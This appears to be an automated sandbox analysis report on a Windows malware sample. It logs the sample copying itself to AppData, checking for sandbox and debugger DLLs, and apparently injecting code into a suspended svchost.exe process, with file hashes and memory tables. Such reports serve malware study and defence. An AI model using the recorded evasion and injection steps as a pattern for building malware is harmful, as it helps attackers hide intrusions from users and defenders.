user32.dll 0x757e0000 0x758dffff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x75970000 0x75988fff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x75ab0000 0x75b3ffff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x75bc0000 0x75c8bfff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x75d10000 0x75dbbfff Memory Mapped File Readable, Writable, Executable False False False
kernel32.dll 0x75dc0000 0x75ecffff Memory Mapped File Readable, Writable, Executable False False False
shell32.dll 0x75fe0000 0x76c29fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x76f10000 0x76f66fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x76f80000 0x76fdffff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x76fe0000 0x76fe9fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x77130000 0x77175fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x77180000 0x7721cfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x77280000 0x7731ffff Memory Mapped File Readable, Writable, Executable False False False
private_0x0000000077320000 0x77320000 0x7743efff Private Memory Readable, Writable, Executable True True False
private_0x0000000077440000 0x77440000 0x77539fff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77720000 0x7789ffff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 472.00 KB (483328 bytes) MD5: 0ebfd6e45dea48c7f54b5574d69da458
SHA1: 11ad0fae8318bc72e1525c161c5df72a9da9430b
SHA256: 3ba1b55c3268529b586e154b9117d25ae6c3667a2e869747c51bd88fd2a7a581
False
c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
False
Host Behavior
File (3)
+
Operation Filename Additional Information Success Count Logfile
Create C:\Users\aDU0VK IWA5kLS\Desktop desired_access = GENERIC_READ False 1
Fn
Create Directory C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp True 1
Fn
Copy C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe source_filename = C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe True 1
Fn
Registry (3)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ value_name = ProductName, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ value_name = ProductName, data = 87 True 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
Create C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe os_pid = 0xb68, show_window = SW_HIDE True 1
Fn
Module (25)
+
Operation Module Additional Information Success Count Logfile
Load Kernel32.dll base_address = 0x75dc0000 True 1
Fn
Load shell32.dll base_address = 0x75fe0000 True 1
Fn
Load ntdll.dll base_address = 0x77720000 True 1
Fn
Load shlwapi.dll base_address = 0x76f10000 True 1
Fn
Load advapi32.dll base_address = 0x77280000 True 1
Fn
Get Handle c:\users\adu0vk~1\appdata\local\temp\mvmubw.exe base_address = 0x400000 True 3
Fn
Get Handle cmdvrt32.dll base_address = 0x0 False 1
Fn
Get Handle SxIn.dll base_address = 0x0 False 1
Fn
Get Handle SbieDll.dll base_address = 0x0 False 1
Fn
Get Handle Sf2.dll base_address = 0x0 False 1
Fn
Get Handle snxhk.dll base_address = 0x0 False 1
Fn
Get Handle dbghelp.dll base_address = 0x0 False 1
Fn
Get Handle api_log.dll base_address = 0x0 False 1
Fn
Get Handle dir_watch.dll base_address = 0x0 False 1
Fn
Get Handle pstorec.dll base_address = 0x0 False 1
Fn
Get Handle vmcheck.dll base_address = 0x0 False 1
Fn
Get Handle wpespy.dll base_address = 0x0 False 1
Fn
Get Filename wpespy.dll process_name = c:\users\adu0vk~1\appdata\local\temp\mvmubw.exe, file_name_orig = C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x75dd7a10 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x75dd435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x75dd1856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnmapViewOfFile, address_out = 0x75dd1826 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x75dd186e True 1
Fn
Window (5)
+
Operation Window Name Additional Information Success Count Logfile
Create msPin class_name = cmsPin, wndproc_parameter = 0 False 1
Fn
Create ï™ @ class_name = button, wndproc_parameter = 0 True 1
Fn
Create ï™ @ class_name = STATIC, wndproc_parameter = 0 True 1
Fn
Create class_name = richedit, wndproc_parameter = 0 False 1
Fn
Create class_name = EDIT, wndproc_parameter = 0 False 1
Fn
System (4)
+
Operation Additional Information Success Count Logfile
Get Computer Name result_out = AUFDDCNTXWT True 1
Fn
Sleep duration = 3000 milliseconds (3.000 seconds) True 1
Fn
Sleep duration = 5000 milliseconds (5.000 seconds) True 1
Fn
Get Info type = Hardware Information True 1
Fn
Process #7: mvnucw.exe
(Host: 1105, Network: 0)
+
Information Value
ID #7
File Name c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe
Command Line "C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\Mvnucw.exe"
Initial Working Directory C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp\
Monitor Start Time: 00:01:35, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:00:51
OS Process Information
+
Information Value
PID 0xb68
Parent PID 0xb18 (c:\users\adu0vk~1\appdata\local\temp\mvmubw.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B6C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable True True False
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
private_0x0000000000030000 0x00030000 0x00030fff Private Memory Readable, Writable True True False
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
private_0x0000000000050000 0x00050000 0x0008ffff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x0018ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000190000 0x00190000 0x00193fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
locale.nls 0x001b0000 0x00216fff Memory Mapped File Readable False False False
private_0x0000000000220000 0x00220000 0x00220fff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000240000 0x00240000 0x00240fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00256fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00251fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True True False
private_0x0000000000250000 0x00250000 0x00250fff Private Memory Readable, Writable, Executable True False False
private_0x0000000000260000 0x00260000 0x002dffff Private Memory Readable, Writable True True False
private_0x00000000002e0000 0x002e0000 0x0035ffff Private Memory Readable, Writable True True False
private_0x0000000000360000 0x00360000 0x0036ffff Private Memory Readable, Writable True True False
kernelbase.dll 0x00370000 0x003dafff Memory Mapped File Readable, Writable, Executable False False False
private_0x00000000003e0000 0x003e0000 0x003f7fff Private Memory Readable, Writable, Executable True True False
mvnucw.exe 0x00400000 0x00475fff Memory Mapped File Readable, Writable, Executable True True False
private_0x0000000000400000 0x00400000 0x00441fff Private Memory True True False
private_0x0000000000480000 0x00480000 0x0052ffff Private Memory Readable, Writable True False False
private_0x0000000000530000 0x00530000 0x0062ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000630000 0x00630000 0x007b7fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000007c0000 0x007c0000 0x00940fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000950000 0x00950000 0x01d4ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001d50000 0x01d50000 0x01e2efff Pagefile Backed Memory Readable True False False
sortdefault.nls 0x01e30000 0x020fefff Memory Mapped File Readable False False False
private_0x0000000002100000 0x02100000 0x0222efff Private Memory Readable, Writable True True False
private_0x0000000010000000 0x10000000 0x10006fff Private Memory Readable, Writable, Executable True True False
dwmapi.dll 0x73600000 0x73612fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x73a80000 0x73afffff Memory Mapped File Readable, Writable, Executable False False False
wow64win.dll 0x73c40000 0x73c9bfff Memory Mapped File Readable, Writable, Executable False False False
wow64.dll 0x73ca0000 0x73cdefff Memory Mapped File Readable, Writable, Executable False False False
wow64cpu.dll 0x73d10000 0x73d17fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x75270000 0x7527bfff Memory Mapped File Readable, Writable, Executable False False False
sspicli.dll 0x75280000 0x752dffff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x752e0000 0x7543bfff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x75440000 0x7552ffff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x757e0000 0x758dffff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x75970000 0x75988fff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x75ab0000 0x75b3ffff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x75bc0000 0x75c8bfff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x75d10000 0x75dbbfff Memory Mapped File Readable, Writable, Executable False False False
kernel32.dll 0x75dc0000 0x75ecffff Memory Mapped File Readable, Writable, Executable False False False
shell32.dll 0x75fe0000 0x76c29fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x76f10000 0x76f66fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x76f80000 0x76fdffff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x76fe0000 0x76fe9fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x77130000 0x77175fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x77180000 0x7721cfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x77280000 0x7731ffff Memory Mapped File Readable, Writable, Executable False False False
private_0x0000000077320000 0x77320000 0x7743efff Private Memory Readable, Writable, Executable True True False
private_0x0000000077440000 0x77440000 0x77539fff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77720000 0x7789ffff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
Host Behavior
File (1)
+
Operation Filename Additional Information Success Count Logfile
Create C:\Users\aDU0VK IWA5kLS\AppData\Roaming\winapp desired_access = GENERIC_READ False 1
Fn
Registry (3)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ value_name = ProductName, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ value_name = ProductName, data = 87 True 1
Fn
Process (3)
+
Operation Process Additional Information Success Count Logfile
Create svchost.exe os_pid = 0x830, creation_flags = CREATE_SUSPENDED, show_window = SW_HIDE True 1
Fn
Get Info svchost.exe type = PROCESS_BASIC_INFORMATION True 2
Fn
Thread (1)
+
Operation Process Additional Information Success Count Logfile
Resume c:\users\adu0vk iwa5kls\appdata\roaming\winapp\mvnucw.exe os_tid = 0xb6c True 1
Fn
Memory (1060)
+
Operation Process Additional Information Success Count Logfile
Allocate svchost.exe address = 0x18ce98, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625672 True 2
Fn
Allocate svchost.exe address = 0x18cde0, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625672 True 1
Fn
Allocate svchost.exe address = 0x18cd70, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1625592 True 1
Fn
Allocate svchost.exe address = 0x18cd80, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1625728 True 6
Fn
Allocate svchost.exe address = 0x18cd38, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1624776 True 7
Fn
Allocate svchost.exe address = 0x18c948, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1624312 True 7
Fn
Allocate svchost.exe address = 0x18cca8, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625304 True 71
Fn
Allocate svchost.exe address = 0x18cb38, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1624808 True 79
Fn
Allocate svchost.exe address = 0x18cd40, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625280 True 8
Fn
Allocate svchost.exe address = 0x18cd30, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625400 True 1
Fn
Allocate svchost.exe address = 0x18cc88, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1625144 True 1
Fn
Free svchost.exe address = 0x18c9a8, free_type = MEM_RELEASE, size = 1624472 True 7
Fn
Free svchost.exe address = 0x18cad8, free_type = MEM_RELEASE, size = 1624784 True 7
Fn
Free svchost.exe address = 0x18cb98, free_type = MEM_RELEASE, size = 1624968 True 79
Fn
Free svchost.exe address = 0x18ccc8, free_type = MEM_RELEASE, size = 1625296 True 79
Fn
Protect svchost.exe address = 0xff5a246c, protection = PAGE_EXECUTE_READWRITE, size = 1625752 True 1
Fn
Protect svchost.exe address = 0x140000000, protection = PAGE_READONLY, size = 1625576 True 1
Fn
Protect svchost.exe address = 0x140001000, protection = PAGE_EXECUTE_READ, size = 1625704 True 1
Fn
Protect svchost.exe address = 0x140019000, protection = PAGE_READONLY, size = 1625704 True 1
Fn
Protect svchost.exe address = 0x140020000, protection = PAGE_READWRITE, size = 1625704 True 1
Fn
Protect svchost.exe address = 0x140021000, protection = PAGE_READONLY, size = 1625704 True 1
Fn
Protect svchost.exe address = 0x140023000, protection = PAGE_READONLY, size = 1625704 True 1
Fn
Protect svchost.exe address = 0x140024000, protection = PAGE_READONLY, size = 1625704 True 1
Fn
Read svchost.exe address = 0x7fffffd6000, size = 712 True 1
Fn
Data
Read svchost.exe address = 0xff5a0000, size = 64 True 1
Fn
Data
Read svchost.exe address = 0xff5a00e8, size = 264 True 1
Fn
Data
Read svchost.exe address = 0x60000, size = 72 True 174
Fn
Data
Read svchost.exe address = 0x20025, size = 8 True 4
Fn
Data
Read svchost.exe address = 0x20017, size = 8 True 5
Fn
Data
Read svchost.exe address = 0x20019, size = 8 True 3
Fn
Data
Read svchost.exe address = 0x20022, size = 8 True 3
Fn
Data
Read svchost.exe address = 0x20021, size = 8 True 6
Fn
Data
Read svchost.exe address = 0x20016, size = 8 True 5
Fn
Data
Read svchost.exe address = 0x2001b, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x20018, size = 8 True 3
Fn
Data
Read svchost.exe address = 0x20015, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x2001f, size = 8 True 7
Fn
Data
Read svchost.exe address = 0x2001c, size = 8 True 4
Fn
Data
Read svchost.exe address = 0x2001a, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x20023, size = 8 True 7
Fn
Data
Read svchost.exe address = 0x20026, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x2001d, size = 8 True 6
Fn
Data
Read svchost.exe address = 0x2001e, size = 8 True 1
Fn
Data
Read svchost.exe address = 0x20029, size = 8 True 4
Fn
Data
Read svchost.exe address = 0x20027, size = 8 True 3
Fn
Data
Read svchost.exe address = 0x20028, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x20024, size = 8 True 2
Fn
Data
Read svchost.exe address = 0x2002c, size = 8 True 1
Fn
Data
Read svchost.exe address = 0x20020, size = 8 True 3
Fn
Data
Read svchost.exe address = 0x20000, size = 8 True 8
Fn
Data
Read svchost.exe address = 0x2002a, size = 8 True 1
Fn
Data
Read svchost.exe address = 0x7fffffd6018, size = 8 True 1
Fn
Data
Read svchost.exe address = 0x77672640, size = 48 True 1
Fn
Data
Read svchost.exe address = 0x282800, size = 136 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 544 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 72 True 88
Fn
Data
Write svchost.exe address = 0xff5a246c, size = 22 True 1
Fn
Data
Write svchost.exe address = 0x140000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x140001000, size = 96768 True 2
Fn
Data
Write svchost.exe address = 0x140019000, size = 25088 True 2
Fn
Data
Write svchost.exe address = 0x140020000, size = 2264 True 1
Fn
Data
Write svchost.exe address = 0x140020000, size = 512 True 1
Fn
Data
Write svchost.exe address = 0x140021000, size = 6144 True 2
Fn
Data
Write svchost.exe address = 0x140023000, size = 1536 True 2
Fn
Data
Write svchost.exe address = 0x140024000, size = 1536 True 2
Fn
Data
Write svchost.exe address = 0x20010, size = 21 True 4
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 79
Fn
Data
Write svchost.exe address = 0x70000, size = 48 True 86
Fn
Data
Write svchost.exe address = 0x20010, size = 7 True 5
Fn
Data
Write svchost.exe address = 0x140019190, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 9 True 3
Fn
Data
Write svchost.exe address = 0x140019198, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 18 True 3
Fn
Data
Write svchost.exe address = 0x1400191a0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 17 True 6
Fn
Data
Write svchost.exe address = 0x1400191a8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400191b0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 6 True 5
Fn
Data
Write svchost.exe address = 0x1400191b8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 11 True 2
Fn
Data
Write svchost.exe address = 0x1400191c0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 8 True 3
Fn
Data
Write svchost.exe address = 0x1400191c8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 5 True 2
Fn
Data
Write svchost.exe address = 0x1400191d0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 15 True 7
Fn
Data
Write svchost.exe address = 0x1400191d8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400191e0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400191e8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400191f0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400191f8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019200, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 12 True 4
Fn
Data
Write svchost.exe address = 0x140019208, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019210, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019218, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019220, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 10 True 2
Fn
Data
Write svchost.exe address = 0x140019228, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 19 True 7
Fn
Data
Write svchost.exe address = 0x140019230, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019238, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 22 True 2
Fn
Data
Write svchost.exe address = 0x140019240, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019248, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019250, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019258, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019260, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 13 True 6
Fn
Data
Write svchost.exe address = 0x140019268, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 14 True 1
Fn
Data
Write svchost.exe address = 0x140019270, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019278, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019280, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019288, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 25 True 4
Fn
Data
Write svchost.exe address = 0x140019010, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 23 True 3
Fn
Data
Write svchost.exe address = 0x140019018, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019020, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019028, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019030, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019038, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019040, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 24 True 2
Fn
Data
Write svchost.exe address = 0x140019048, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 20 True 2
Fn
Data
Write svchost.exe address = 0x140019050, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019058, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019060, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019068, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019070, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 28 True 1
Fn
Data
Write svchost.exe address = 0x140019078, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x20010, size = 16 True 3
Fn
Data
Write svchost.exe address = 0x140019080, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019088, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019090, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019098, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190a0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190a8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190b0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190b8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019000, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140019298, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400192a0, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190c8, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x1400190d0, size = 8 True 1
Fn
